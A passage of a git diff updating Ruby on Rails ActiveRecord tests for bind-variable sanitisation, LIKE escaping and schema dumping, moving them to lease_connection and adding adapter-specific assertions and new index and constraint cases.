+    query = if searchable_post.lease_connection.prepared_statements
+      if current_adapter?(:PostgreSQLAdapter)
+        /title LIKE \$1/
+      else
+        /title LIKE \?/
+      end
+    else
+      /LIKE '20!% !_reduction!_!!'/
     end
+
+    assert_queries_match(query) do
+      searchable_post.search_as_method("20% _reduction_!").to_a
+    end
+
+    assert_queries_match(query) do
+      searchable_post.search_as_scope("20% _reduction_!").to_a
+    end
+  end
+
+  def test_disallow_raw_sql_with_unknown_attribute_string
+    assert_raise(ActiveRecord::UnknownAttributeReference) { Binary.disallow_raw_sql!(["field(id, ?)"]) }
+  end
+
+  def test_disallow_raw_sql_with_unknown_attribute_sql_literal
+    assert_nothing_raised { Binary.disallow_raw_sql!([Arel.sql("field(id, ?)")]) }
   end
 
   def test_bind_arity
@@ -90,8 +138,13 @@ def test_bind_arity
   end
 
   def test_named_bind_variables
-    assert_equal "1", bind(":a", a: 1) # ' ruby-mode
-    assert_equal "1 1", bind(":a :a", a: 1)  # ' ruby-mode
+    if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+      assert_equal "'1'", bind(":a", a: 1) # ' ruby-mode
+      assert_equal "'1' '1'", bind(":a :a", a: 1)  # ' ruby-mode
+    else
+      assert_equal "1", bind(":a", a: 1) # ' ruby-mode
+      assert_equal "1 1", bind(":a :a", a: 1)  # ' ruby-mode
+    end
 
     assert_nothing_raised { bind("'+00:00'", foo: "bar") }
   end
@@ -115,62 +168,102 @@ def each(&b)
   end
 
   def test_bind_enumerable
-    quoted_abc = %(#{ActiveRecord::Base.connection.quote('a')},#{ActiveRecord::Base.connection.quote('b')},#{ActiveRecord::Base.connection.quote('c')})
+    quoted_abc = %(#{ActiveRecord::Base.lease_connection.quote('a')},#{ActiveRecord::Base.lease_connection.quote('b')},#{ActiveRecord::Base.lease_connection.quote('c')})
 
-    assert_equal "1,2,3", bind("?", [1, 2, 3])
+    if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+      assert_equal "'1','2','3'", bind("?", [1, 2, 3])
+    else
+      assert_equal "1,2,3", bind("?", [1, 2, 3])
+    end
     assert_equal quoted_abc, bind("?", %w(a b c))
 
-    assert_equal "1,2,3", bind(":a", a: [1, 2, 3])
+    if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+      assert_equal "'1','2','3'", bind(":a", a: [1, 2, 3])
+    else
+      assert_equal "1,2,3", bind(":a", a: [1, 2, 3])
+    end
     assert_equal quoted_abc, bind(":a", a: %w(a b c)) # '
 
-    assert_equal "1,2,3", bind("?", SimpleEnumerable.new([1, 2, 3]))
+    if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+      assert_equal "'1','2','3'", bind("?", SimpleEnumerable.new([1, 2, 3]))
+    else
+      assert_equal "1,2,3", bind("?", SimpleEnumerable.new([1, 2, 3]))
+    end
     assert_equal quoted_abc, bind("?", SimpleEnumerable.new(%w(a b c)))
 
-    assert_equal "1,2,3", bind(":a", a: SimpleEnumerable.new([1, 2, 3]))
+    if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+      assert_equal "'1','2','3'", bind(":a", a: SimpleEnumerable.new([1, 2, 3]))
+    else
+      assert_equal "1,2,3", bind(":a", a: SimpleEnumerable.new([1, 2, 3]))
+    end
     assert_equal quoted_abc, bind(":a", a: SimpleEnumerable.new(%w(a b c))) # '
   end
 
   def test_bind_empty_enumerable
-    quoted_nil = ActiveRecord::Base.connection.quote(nil)
+    quoted_nil = ActiveRecord::Base.lease_connection.quote(nil)
     assert_equal quoted_nil, bind("?", [])
     assert_equal " in (#{quoted_nil})", bind(" in (?)", [])
     assert_equal "foo in (#{quoted_nil})", bind("foo in (?)", [])
   end
 
+  def test_bind_range
+    quoted_abc = %(#{ActiveRecord::Base.lease_connection.quote('a')},#{ActiveRecord::Base.lease_connection.quote('b')},#{ActiveRecord::Base.lease_connection.quote('c')})
+    if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+      assert_equal "'0'", bind("?", 0..0)
+      assert_equal "'1','2','3'", bind("?", 1..3)
+    else
+      assert_equal "0", bind("?", 0..0)
+      assert_equal "1,2,3", bind("?", 1..3)
+    end
+    assert_equal quoted_abc, bind("?", "a"..."d")
+  end
+
+  def test_bind_empty_range
+    quoted_nil = ActiveRecord::Base.lease_connection.quote(nil)
+    assert_equal quoted_nil, bind("?", 0...0)
+    assert_equal quoted_nil, bind("?", "a"..."a")
+  end
+
   def test_bind_empty_string
-    quoted_empty = ActiveRecord::Base.connection.quote("")
+    quoted_empty = ActiveRecord::Base.lease_connection.quote("")
     assert_equal quoted_empty, bind("?", "")
   end
 
   def test_bind_chars
-    quoted_bambi = ActiveRecord::Base.connection.quote("Bambi")
-    quoted_bambi_and_thumper = ActiveRecord::Base.connection.quote("Bambi\nand\nThumper")
+    quoted_bambi = ActiveRecord::Base.lease_connection.quote("Bambi")
+    quoted_bambi_and_thumper = ActiveRecord::Base.lease_connection.quote("Bambi\nand\nThumper")
     assert_equal "name=#{quoted_bambi}", bind("name=?", "Bambi")
     assert_equal "name=#{quoted_bambi_and_thumper}", bind("name=?", "Bambi\nand\nThumper")
-    assert_equal "name=#{quoted_bambi}", bind("name=?", "Bambi".mb_chars)
-    assert_equal "name=#{quoted_bambi_and_thumper}", bind("name=?", "Bambi\nand\nThumper".mb_chars)
-  end
-
-  def test_bind_record
-    o = Struct.new(:quoted_id).new(1)
-    assert_equal "1", bind("?", o)
+    assert_deprecated ActiveSupport.deprecator do
+      assert_equal "name=#{quoted_bambi}", bind("name=?", "Bambi".mb_chars)
+    end
 
-    os = [o] * 3
-    assert_equal "1,1,1", bind("?", os)
+    assert_deprecated ActiveSupport.deprecator do
+      assert_equal "name=#{quoted_bambi_and_thumper}", bind("name=?", "Bambi\nand\nThumper".mb_chars)
+    end
   end
 
   def test_named_bind_with_postgresql_type_casts
     l = Proc.new { bind(":a::integer '2009-01-01'::date", a: "10") }
     assert_nothing_raised(&l)
-    assert_equal "#{ActiveRecord::Base.connection.quote('10')}::integer '2009-01-01'::date", l.call
+    assert_equal "#{ActiveRecord::Base.lease_connection.quote('10')}::integer '2009-01-01'::date", l.call
+  end
+
+  def test_named_bind_with_literal_colons
+    assert_equal "TO_TIMESTAMP('2017/08/02 10:59:00', 'YYYY/MM/DD HH12:MI:SS')", bind("TO_TIMESTAMP(:date, 'YYYY/MM/DD HH12\\:MI\\:SS')", date: "2017/08/02 10:59:00")
+    assert_raise(ActiveRecord::PreparedStatementInvalid) { bind "TO_TIMESTAMP(:date, 'YYYY/MM/DD HH12:MI:SS')", date: "2017/08/02 10:59:00" }
   end
 
   private
     def bind(statement, *vars)
       if vars.first.is_a?(Hash)
-        ActiveRecord::Base.send(:replace_named_bind_variables, statement, vars.first)
+        ActiveRecord::Base.with_connection do |c|
+          ActiveRecord::Base.send(:replace_named_bind_variables, c, statement, vars.first)
+        end
       else
-        ActiveRecord::Base.send(:replace_bind_variables, statement, vars)
+        ActiveRecord::Base.with_connection do |c|
+          ActiveRecord::Base.send(:replace_bind_variables, c, statement, vars)
+        end
       end
     end
 end
diff --git a/activerecord/test/cases/schema_dumper_test.rb b/activerecord/test/cases/schema_dumper_test.rb
index 9584318e863ce..63087abe17349 100644
--- a/activerecord/test/cases/schema_dumper_test.rb
+++ b/activerecord/test/cases/schema_dumper_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/schema_dumping_helper"
 
@@ -6,45 +8,43 @@ class SchemaDumperTest < ActiveRecord::TestCase
   self.use_transactional_tests = false
 
   setup do
-    ActiveRecord::SchemaMigration.create_table
+    @schema_migration = ActiveRecord::Base.connection_pool.schema_migration
+    @schema_migration.create_table
+
+    ARUnit2Model.connection_pool.schema_migration.create_table
   end
 
   def standard_dump
-    @@standard_dump ||= perform_schema_dump
+    @@standard_dump ||= dump_all_table_schema
   end
 
-  def perform_schema_dump
-    dump_all_table_schema []
+  def test_dump_schema_versions_with_empty_versions
+    @schema_migration.delete_all_versions
+    schema_info = ActiveRecord::Base.lease_connection.dump_schema_versions
+    assert_no_match(/INSERT INTO/, schema_info)
   end
 
-  def test_dump_schema_information_outputs_lexically_ordered_versions
+  def test_dump_schema_versions_outputs_lexically_reverse_ordered_versions_regardless_of_database_order
     versions = %w{ 20100101010101 20100201010101 20100301010101 }
-    versions.reverse_each do |v|
-      ActiveRecord::SchemaMigration.create!(version: v)
+    versions.shuffle.each do |v|
+      @schema_migration.create_version(v)
     end
 
-    schema_info = ActiveRecord::Base.connection.dump_schema_information
-    assert_match(/20100201010101.*20100301010101/m, schema_info)
+    schema_info = ActiveRecord::Base.lease_connection.dump_schema_versions
+    expected = <<~STR
+    INSERT INTO #{quote_table_name("schema_migrations")} (version) VALUES
+    ('20100301010101'),
+    ('20100201010101'),
+    ('20100101010101');
+    STR
+    assert_equal expected.strip, schema_info
   ensure
-    ActiveRecord::SchemaMigration.delete_all
+    @schema_migration.delete_all_versions
   end
 
-  if current_adapter?(:SQLite3Adapter)
-    %w{3.7.8 3.7.11 3.7.12}.each do |version_string|
-      test "dumps schema version for sqlite version #{version_string}" do
-        version = ActiveRecord::ConnectionAdapters::SQLite3Adapter::Version.new(version_string)
-        ActiveRecord::Base.connection.stubs(:sqlite_version).returns(version)
-
-        versions = %w{ 20100101010101 20100201010101 20100301010101 }
-        versions.reverse_each do |v|
-          ActiveRecord::SchemaMigration.create!(version: v)
-        end
-
-        schema_info = ActiveRecord::Base.connection.dump_schema_information
-        assert_match(/20100201010101.*20100301010101/m, schema_info)
-        ActiveRecord::SchemaMigration.delete_all
-      end
-    end
+  def test_schema_dump_include_migration_version
+    output = standard_dump
+    assert_match %r{ActiveRecord::Schema\[#{ActiveRecord::Migration.current_version}\]\.define}, output
   end
 
   def test_schema_dump
@@ -58,7 +58,7 @@ def test_schema_dump
 
   def test_schema_dump_uses_force_cascade_on_create_table
     output = dump_table_schema "authors"
-    assert_match %r{create_table "authors", force: :cascade}, output
+    assert_match %r{create_table "authors",.* force: :cascade}, output
   end
 
   def test_schema_dump_excludes_sqlite_sequence
@@ -116,39 +116,29 @@ def test_schema_dump_includes_not_null_columns
   def test_schema_dump_includes_limit_constraint_for_integer_columns
     output = dump_all_table_schema([/^(?!integer_limits)/])
 
-    assert_match %r{c_int_without_limit}, output
+    assert_match %r{"c_int_without_limit"(?!.*limit)}, output
 
     if current_adapter?(:PostgreSQLAdapter)
-      assert_no_match %r{c_int_without_limit.*limit:}, output
-
       assert_match %r{c_int_1.*limit: 2}, output
       assert_match %r{c_int_2.*limit: 2}, output
 
-      # int 3 is 4 bytes in postgresql
-      assert_match %r{c_int_3.*}, output
-      assert_no_match %r{c_int_3.*limit:}, output
-
-      assert_match %r{c_int_4.*}, output
-      assert_no_match %r{c_int_4.*limit:}, output
-    elsif current_adapter?(:Mysql2Adapter)
-      assert_match %r{c_int_without_limit"$}, output
-
+      # int 3 is 4 bytes in PostgreSQL
+      assert_match %r{"c_int_3"(?!.*limit)}, output
+      assert_match %r{"c_int_4"(?!.*limit)}, output
+    elsif current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
       assert_match %r{c_int_1.*limit: 1}, output
       assert_match %r{c_int_2.*limit: 2}, output
       assert_match %r{c_int_3.*limit: 3}, output
 
-      assert_match %r{c_int_4.*}, output
-      assert_no_match %r{c_int_4.*:limit}, output
+      assert_match %r{"c_int_4"(?!.*limit)}, output
     elsif current_adapter?(:SQLite3Adapter)
-      assert_no_match %r{c_int_without_limit.*limit:}, output
-
       assert_match %r{c_int_1.*limit: 1}, output
       assert_match %r{c_int_2.*limit: 2}, output
       assert_match %r{c_int_3.*limit: 3}, output
       assert_match %r{c_int_4.*limit: 4}, output
     end
 
-    if current_adapter?(:SQLite3Adapter, :OracleAdapter)
+    if current_adapter?(:SQLite3Adapter)
       assert_match %r{c_int_5.*limit: 5}, output
       assert_match %r{c_int_6.*limit: 6}, output
       assert_match %r{c_int_7.*limit: 7}, output
@@ -162,7 +152,7 @@ def test_schema_dump_includes_limit_constraint_for_integer_columns
   end
 
   def test_schema_dump_with_string_ignored_table
-    output = dump_all_table_schema(["accounts"])
+    output = dump_table_schema("authors")
     assert_no_match %r{create_table "accounts"}, output
     assert_match %r{create_table "authors"}, output
     assert_no_match %r{create_table "schema_migrations"}, output
@@ -170,19 +160,31 @@ def test_schema_dump_with_string_ignored_table
   end
 
   def test_schema_dump_with_regexp_ignored_table
-    output = dump_all_table_schema([/^account/])
-    assert_no_match %r{create_table "accounts"}, output
-    assert_match %r{create_table "authors"}, output
+    output = dump_all_table_schema([/^courses/], pool: ARUnit2Model.connection_pool)
+    assert_no_match %r{create_table "courses"}, output
+    assert_match %r{create_table "colleges"}, output
     assert_no_match %r{create_table "schema_migrations"}, output
     assert_no_match %r{create_table "ar_internal_metadata"}, output
   end
 
+  def test_table_columns_sorted
+    column_names = column_definition_lines(dump_table_schema("companies")).flatten.filter_map do |line|
+      $1 if line !~ /t\.index/ && line.match(/t\..*"(\w+)"/)
+    end
+
+    assert_equal %w[account_id client_of description firm_id firm_name name rating status type], column_names
+  end
+
   def test_schema_dumps_index_columns_in_right_order
     index_definition = dump_table_schema("companies").split(/\n/).grep(/t\.index.*company_index/).first.strip
-    if current_adapter?(:PostgreSQLAdapter)
+    if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+      if ActiveRecord::Base.lease_connection.supports_index_sort_order?
+        assert_equal 't.index ["firm_id", "type", "rating"], name: "company_index", length: { type: 10 }, order: { rating: :desc }', index_definition
+      else
+        assert_equal 't.index ["firm_id", "type", "rating"], name: "company_index", length: { type: 10 }', index_definition
+      end
+    elsif ActiveRecord::Base.lease_connection.supports_index_sort_order?
       assert_equal 't.index ["firm_id", "type", "rating"], name: "company_index", order: { rating: :desc }', index_definition
-    elsif current_adapter?(:Mysql2Adapter)
-      assert_equal 't.index ["firm_id", "type", "rating"], name: "company_index", length: { type: 10 }', index_definition
     else
       assert_equal 't.index ["firm_id", "type", "rating"], name: "company_index"', index_definition
     end
@@ -190,13 +192,90 @@ def test_schema_dumps_index_columns_in_right_order
 
   def test_schema_dumps_partial_indices
     index_definition = dump_table_schema("companies").split(/\n/).grep(/t\.index.*company_partial_index/).first.strip
-    if current_adapter?(:PostgreSQLAdapter, :SQLite3Adapter) && ActiveRecord::Base.connection.supports_partial_index?
+    if ActiveRecord::Base.lease_connection.supports_partial_index?
       assert_equal 't.index ["firm_id", "type"], name: "company_partial_index", where: "(rating > 10)"', index_definition
     else
       assert_equal 't.index ["firm_id", "type"], name: "company_partial_index"', index_definition
     end
   end
 
+  def test_schema_dumps_nulls_not_distinct
+    index_definition = dump_table_schema("companies").split(/\n/).grep(/t\.index.*company_nulls_not_distinct/).first.strip
+    if supports_nulls_not_distinct?
+      assert_equal 't.index ["firm_id"], name: "company_nulls_not_distinct", nulls_not_distinct: true', index_definition
+    else
+      assert_equal 't.index ["firm_id"], name: "company_nulls_not_distinct"', index_definition
+    end
+  end
+
+  def test_schema_dumps_index_sort_order
+    index_definition = dump_table_schema("companies").split(/\n/).grep(/t\.index.*_name_and_rating/).first.strip
+    if ActiveRecord::Base.lease_connection.supports_index_sort_order?
+      assert_equal 't.index ["name", "rating"], name: "index_companies_on_name_and_rating", order: :desc', index_definition
+    else
+      assert_equal 't.index ["name", "rating"], name: "index_companies_on_name_and_rating"', index_definition
+    end
+  end
+
+  def test_schema_dumps_index_length
+    index_definition = dump_table_schema("companies").split(/\n/).grep(/t\.index.*_name_and_description/).first.strip
+    if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+      assert_equal 't.index ["name", "description"], name: "index_companies_on_name_and_description", length: 10', index_definition
+    else
+      assert_equal 't.index ["name", "description"], name: "index_companies_on_name_and_description"', index_definition
+    end
+  end
+
+  if ActiveRecord::Base.lease_connection.supports_disabling_indexes?
+    def test_schema_dumps_index_visibility
+      index_definition = dump_table_schema("companies").split(/\n/).grep(/t\.index.*company_disabled_index/).first.strip
+      assert_equal 't.index ["firm_id", "client_of"], name: "company_disabled_index", enabled: false', index_definition
+    end
+  end
+
+  if ActiveRecord::Base.lease_connection.supports_check_constraints?
+    def test_schema_dumps_check_constraints
+      constraint_definition = dump_table_schema("products").split(/\n/).grep(/t.check_constraint.*products_price_check/).first.strip
+      if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+        assert_equal 't.check_constraint "`price` > `discounted_price`", name: "products_price_check"', constraint_definition
+      else
+        assert_equal 't.check_constraint "price > discounted_price", name: "products_price_check"', constraint_definition
+      end
+    end
+  end
+
+  if ActiveRecord::Base.lease_connection.supports_exclusion_constraints?
+    def test_schema_dumps_exclusion_constraints
+      output = dump_table_schema("test_exclusion_constraints")
+      constraint_definitions = output.split(/\n/).grep(/test_exclusion_constraints_.*_overlap/)
+
+      assert_equal 3, constraint_definitions.size
+      assert_match 't.exclusion_constraint "daterange(start_date, end_date) WITH &&", where: "(start_date IS NOT NULL) AND (end_date IS NOT NULL)", using: :gist, name: "test_exclusion_constraints_date_overlap"', output
+      assert_match 't.exclusion_constraint "daterange(valid_from, valid_to) WITH &&", where: "(valid_from IS NOT NULL) AND (valid_to IS NOT NULL)", using: :gist, deferrable: :immediate, name: "test_exclusion_constraints_valid_overlap"', output
+      assert_match 't.exclusion_constraint "daterange(transaction_from, transaction_to) WITH &&", where: "(transaction_from IS NOT NULL) AND (transaction_to IS NOT NULL)", using: :gist, deferrable: :deferred, name: "test_exclusion_constraints_transaction_overlap"', output
+    end
+  end
+
+  if ActiveRecord::Base.lease_connection.supports_unique_constraints?
+    def test_schema_dumps_unique_constraints
+      output = dump_table_schema("test_unique_constraints")
+      constraint_definitions = output.split(/\n/).grep(/t\.unique_constraint/)
+
+      assert_equal 4, constraint_definitions.size
+      assert_match 't.unique_constraint ["position_1"], name: "test_unique_constraints_position_deferrable_false"', output
+      assert_match 't.unique_constraint ["position_2"], deferrable: :immediate, name: "test_unique_constraints_position_deferrable_immediate"', output
+      assert_match 't.unique_constraint ["position_3"], deferrable: :deferred, name: "test_unique_constraints_position_deferrable_deferred"', output
+      assert_match 't.unique_constraint ["position_4"], nulls_not_distinct: true, name: "test_unique_constraints_position_nulls_not_distinct"', output
+    end
+
+    def test_schema_does_not_dump_unique_constraints_as_indexes
+      output = dump_table_schema("test_unique_constraints")
+      unique_index_definitions = output.split(/\n/).grep(/t\.index.*unique: true/)
+
+      assert_equal 0, unique_index_definitions.size
+    end
+  end
+
   def test_schema_dump_should_honor_nonstandard_primary_keys
     output = standard_dump
     match = output.match(%r{create_table "movies"(.*)do})
@@ -205,41 +284,84 @@ def test_schema_dump_should_honor_nonstandard_primary_keys
   end
 
   def test_schema_dump_should_use_false_as_default
-    output = standard_dump
+    output = dump_table_schema "booleans"
     assert_match %r{t\.boolean\s+"has_fun",.+default: false}, output
   end
 
   def test_schema_dump_does_not_include_limit_for_text_field
-    output = standard_dump
+    output = dump_table_schema "admin_users"
     assert_match %r{t\.text\s+"params"$}, output
   end
 
   def test_schema_dump_does_not_include_limit_for_binary_field
-    output = standard_dump
+    output = dump_table_schema "binaries"
     assert_match %r{t\.binary\s+"data"$}, output
   end
 
-  if current_adapter?(:Mysql2Adapter)
+  def test_schema_dump_does_not_include_limit_for_float_field
+    output = dump_table_schema "numeric_data"
+    assert_match %r{t\.float\s+"temperature"$}, output
+  end
+
+  def test_schema_dump_aliased_types
+    output = standard_dump
+    assert_match %r{t\.binary\s+"blob_data"$}, output
+    assert_match %r{t\.decimal\s+"numeric_number"}, output
+  end
+
+  if ActiveRecord::Base.lease_connection.supports_expression_index?
+    def test_schema_dump_expression_indices
+      index_definition = dump_table_schema("companies").split(/\n/).grep(/t\.index.*company_expression_index/).first.strip
+      index_definition.sub!(/, name: "company_expression_index"\z/, "")
+
+      if current_adapter?(:PostgreSQLAdapter)
+        assert_match %r{CASE.+lower\(\(name\)::text\).+END\) DESC"\z}i, index_definition
+      elsif current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+        assert_match %r{CASE.+lower\(`name`\).+END\) DESC"\z}i, index_definition
+      elsif current_adapter?(:SQLite3Adapter)
+        assert_match %r{CASE.+lower\(name\).+END\) DESC"\z}i, index_definition
+      else
+        assert false
+      end
+    end
+
+    if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+      def test_schema_dump_expression_indices_escaping
+        index_definition = dump_table_schema("companies").split(/\n/).grep(/t\.index.*full_name_index/).first.strip
+        index_definition.sub!(/, name: "full_name_index"\z/, "")
+
+        assert_match %r{concat_ws\(`firm_name`,`name`,_utf8mb4' '\)\)"\z}i, index_definition
+      end
+    end
+  end
+
+  if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
     def test_schema_dump_includes_length_for_mysql_binary_fields
-      output = standard_dump
+      output = dump_table_schema "binary_fields"
       assert_match %r{t\.binary\s+"var_binary",\s+limit: 255$}, output
       assert_match %r{t\.binary\s+"var_binary_large",\s+limit: 4095$}, output
     end
 
     def test_schema_dump_includes_length_for_mysql_blob_and_text_fields
-      output = standard_dump
-      assert_match %r{t\.blob\s+"tiny_blob",\s+limit: 255$}, output
+      output = dump_table_schema "binary_fields"
+      assert_match %r{t\.binary\s+"tiny_blob",\s+size: :tiny$}, output
       assert_match %r{t\.binary\s+"normal_blob"$}, output
-      assert_match %r{t\.binary\s+"medium_blob",\s+limit: 16777215$}, output
-      assert_match %r{t\.binary\s+"long_blob",\s+limit: 4294967295$}, output
-      assert_match %r{t\.text\s+"tiny_text",\s+limit: 255$}, output
+      assert_match %r{t\.binary\s+"medium_blob",\s+size: :medium$}, output
+      assert_match %r{t\.binary\s+"long_blob",\s+size: :long$}, output
+      assert_match %r{t\.text\s+"tiny_text",\s+size: :tiny$}, output
       assert_match %r{t\.text\s+"normal_text"$}, output
-      assert_match %r{t\.text\s+"medium_text",\s+limit: 16777215$}, output
-      assert_match %r{t\.text\s+"long_text",\s+limit: 4294967295$}, output
+      assert_match %r{t\.text\s+"medium_text",\s+size: :medium$}, output
+      assert_match %r{t\.text\s+"long_text",\s+size: :long$}, output
+      assert_match %r{t\.binary\s+"tiny_blob_2",\s+size: :tiny$}, output
+      assert_match %r{t\.binary\s+"medium_blob_2",\s+size: :medium$}, output
+      assert_match %r{t\.binary\s+"long_blob_2",\s+size: :long$}, output
+      assert_match %r{t\.text\s+"tiny_text_2",\s+size: :tiny$}, output
+      assert_match %r{t\.text\s+"medium_text_2",\s+size: :medium$}, output
+      assert_match %r{t\.text\s+"long_text_2",\s+size: :long$}, output
     end
 
     def test_schema_does_not_include_limit_for_emulated_mysql_boolean_fields
-      output = standard_dump
+      output = dump_table_schema "booleans"
       assert_no_match %r{t\.boolean\s+"has_fun",.+limit: 1}, output
     end
 
@@ -263,7 +385,7 @@ def test_schema_dump_includes_bigint_default
 
     def test_schema_dump_includes_limit_on_array_type
       output = dump_table_schema "bigint_array"
-      assert_match %r{t\.bigint\s+"big_int_data_points\",\s+array: true}, output
+      assert_match %r{t\.bigint\s+"big_int_data_points",\s+array: true}, output
     end
 
     def test_schema_dump_allows_array_of_decimal_defaults
@@ -271,11 +393,6 @@ def test_schema_dump_allows_array_of_decimal_defaults
       assert_match %r{t\.decimal\s+"decimal_array_default",\s+default: \["1.23", "3.45"\],\s+array: true}, output
     end
 
-    def test_schema_dump_expression_indices
-      index_definition = dump_table_schema("companies").split(/\n/).grep(/t\.index.*company_expression_index/).first.strip
-      assert_equal 't.index "lower((name)::text)", name: "company_expression_index"', index_definition
-    end
-
     def test_schema_dump_interval_type
       output = dump_table_schema "postgresql_times"
       assert_match %r{t\.interval\s+"time_interval"$}, output
@@ -287,33 +404,70 @@ def test_schema_dump_oid_type
       assert_match %r{t\.oid\s+"obj_id"$}, output
     end
 
-    if ActiveRecord::Base.connection.supports_extensions?
-      def test_schema_dump_includes_extensions
-        connection = ActiveRecord::Base.connection
+    def test_schema_dump_includes_extensions
+      connection = ActiveRecord::Base.lease_connection
 
-        connection.stubs(:extensions).returns(["hstore"])
-        output = perform_schema_dump
+      connection.stub(:extensions, ["hstore"]) do
+        output = dump_all_table_schema(/./)
         assert_match "# These are extensions that must be enabled", output
         assert_match %r{enable_extension "hstore"}, output
+      end
 
-        connection.stubs(:extensions).returns([])
-        output = perform_schema_dump
+      connection.stub(:extensions, []) do
+        output = dump_all_table_schema(/./)
         assert_no_match "# These are extensions that must be enabled", output
         assert_no_match %r{enable_extension}, output
       end
     end
+
+    def test_schema_dump_includes_extensions_in_alphabetic_order
+      connection = ActiveRecord::Base.lease_connection
+
+      connection.stub(:extensions, ["hstore", "uuid-ossp", "xml2"]) do
+        output = dump_all_table_schema(/./)
+        enabled_extensions = output.scan(%r{enable_extension "(.+)"}).flatten
+        assert_equal ["hstore", "uuid-ossp", "xml2"], enabled_extensions
+      end
+
+      connection.stub(:extensions, ["uuid-ossp", "xml2", "hstore"]) do
+        output = dump_all_table_schema(/./)
+        enabled_extensions = output.scan(%r{enable_extension "(.+)"}).flatten
+        assert_equal ["hstore", "uuid-ossp", "xml2"], enabled_extensions
+      end
+    end
+
+    def test_schema_dump_include_limit_for_float4_field
+      output = dump_table_schema "numeric_data"
+      assert_match %r{t\.float\s+"temperature_with_limit",\s+limit: 24$}, output
+    end
+
+    def test_schema_dump_keeps_enum_intact_if_it_contains_comma
+      original, $stdout = $stdout, StringIO.new
+
+      migration = Class.new(ActiveRecord::Migration::Current) do
+        def up
+          create_enum "enum_with_comma", ["value1", "value,2", "value3"]
+        end
+
+        def down
+          drop_enum "enum_with_comma"
+        end
+      end
+
+      migration.migrate(:up)
+      output = dump_all_table_schema
+
+      assert_includes output, 'create_enum "enum_with_comma", ["value1", "value,2", "value3"]', output
+    ensure
+      migration.migrate(:down)
+      $stdout = original
+    end
   end
 
   def test_schema_dump_keeps_large_precision_integer_columns_as_decimal
     output = standard_dump
-    # Oracle supports precision up to 38 and it identifies decimals with scale 0 as integers
-    if current_adapter?(:OracleAdapter)
-      assert_match %r{t\.integer\s+"atoms_in_universe",\s+precision: 38}, output
-    elsif current_adapter?(:FbAdapter)
-      assert_match %r{t\.integer\s+"atoms_in_universe",\s+precision: 18}, output
-    else
-      assert_match %r{t\.decimal\s+"atoms_in_universe",\s+precision: 55}, output
-    end
+
+    assert_match %r{t\.decimal\s+"atoms_in_universe",\s+precision: 55}, output
   end
 
   def test_schema_dump_keeps_id_column_when_id_is_false_and_id_column_added
@@ -326,10 +480,10 @@ def test_schema_dump_keeps_id_column_when_id_is_false_and_id_column_added
 
   def test_schema_dump_keeps_id_false_when_id_is_false_and_unique_not_null_column_added
     output = standard_dump
-    assert_match %r{create_table "subscribers", id: false}, output
+    assert_match %r{create_table "string_key_objects", id: false}, output
   end
 
-  if ActiveRecord::Base.connection.supports_foreign_keys?
+  if ActiveRecord::Base.lease_connection.supports_foreign_keys?
     def test_foreign_keys_are_dumped_at_the_bottom_to_circumvent_dependency_issues
       output = standard_dump
       assert_match(/^\s+add_foreign_key "fk_test_has_fk"[^\n]+\n\s+add_foreign_key "lessons_students"/, output)
@@ -339,41 +493,64 @@ def test_do_not_dump_foreign_keys_for_ignored_tables
       output = dump_table_schema "authors"
       assert_equal ["authors"], output.scan(/^\s*add_foreign_key "([^"]+)".+$/).flatten
     end
+
+    unless in_memory_db?
+      def test_do_not_dump_foreign_keys_when_bypassed_by_config
+        ActiveRecord::Base.establish_connection(
+          {
+            adapter: "sqlite3",
+            database: "test/storage/test.sqlite3",
+            foreign_keys: false,
+          }
+        )
+
+        output = dump_all_table_schema
+        assert_no_match(/^\s+add_foreign_key "fk_test_has_fk"[^\n]+\n\s+add_foreign_key "lessons_students"/, output)
+      ensure
+        ActiveRecord::Base.establish_connection(:arunit)
+      end
+    end
   end
 
-  class CreateDogMigration < ActiveRecord::Migration::Current
+  class CreateCatMigration < ActiveRecord::Migration::Current
     def up
-      create_table("dog_owners") do |t|
+      create_table("cat_owners") do |t|
       end
 
-      create_table("dogs") do |t|
+      create_table("cats") do |t|
         t.column :name, :string
         t.references :owner
         t.index [:name]
-        t.foreign_key :dog_owners, column: "owner_id"
+        t.foreign_key :cat_owners, column: "owner_id"
       end
     end
     def down
-      drop_table("dogs")
-      drop_table("dog_owners")
+      drop_table("cats")
+      drop_table("cat_owners")
     end
   end
 
   def test_schema_dump_with_table_name_prefix_and_suffix
+    ActiveRecord::Base.establish_connection(:arunit2) unless in_memory_db?
     original, $stdout = $stdout, StringIO.new
     ActiveRecord::Base.table_name_prefix = "foo_"
     ActiveRecord::Base.table_name_suffix = "_bar"
 
-    migration = CreateDogMigration.new
+    migration = CreateCatMigration.new
     migration.migrate(:up)
 
-    output = perform_schema_dump
+    output = dump_table_schema("foo_cat_owners_bar", "foo_cats_bar")
+
+    assert_match %r{create_table "cat_owners"}, output
+    assert_match %r{create_table "cats"}, output
+    assert_match %r{t\.index \["name"\], name: "index_foo_cats_bar_on_name"}, output
     assert_no_match %r{create_table "foo_.+_bar"}, output
     assert_no_match %r{add_index "foo_.+_bar"}, output
     assert_no_match %r{create_table "schema_migrations"}, output
     assert_no_match %r{create_table "ar_internal_metadata"}, output
 
-    if ActiveRecord::Base.connection.supports_foreign_keys?
+    if ActiveRecord::Base.lease_connection.supports_foreign_keys?
+      assert_match %r{add_foreign_key "cats", "cat_owners", column: "owner_id"}, output
       assert_no_match %r{add_foreign_key "foo_.+_bar"}, output
       assert_no_match %r{add_foreign_key "[^"]+", "foo_.+_bar"}, output
     end
@@ -382,10 +559,44 @@ def test_schema_dump_with_table_name_prefix_and_suffix
 
     ActiveRecord::Base.table_name_suffix = ActiveRecord::Base.table_name_prefix = ""
     $stdout = original
+    ActiveRecord::Base.establish_connection(:arunit)
+  end
+
+  def test_schema_dump_with_table_name_prefix_and_suffix_regexp_escape
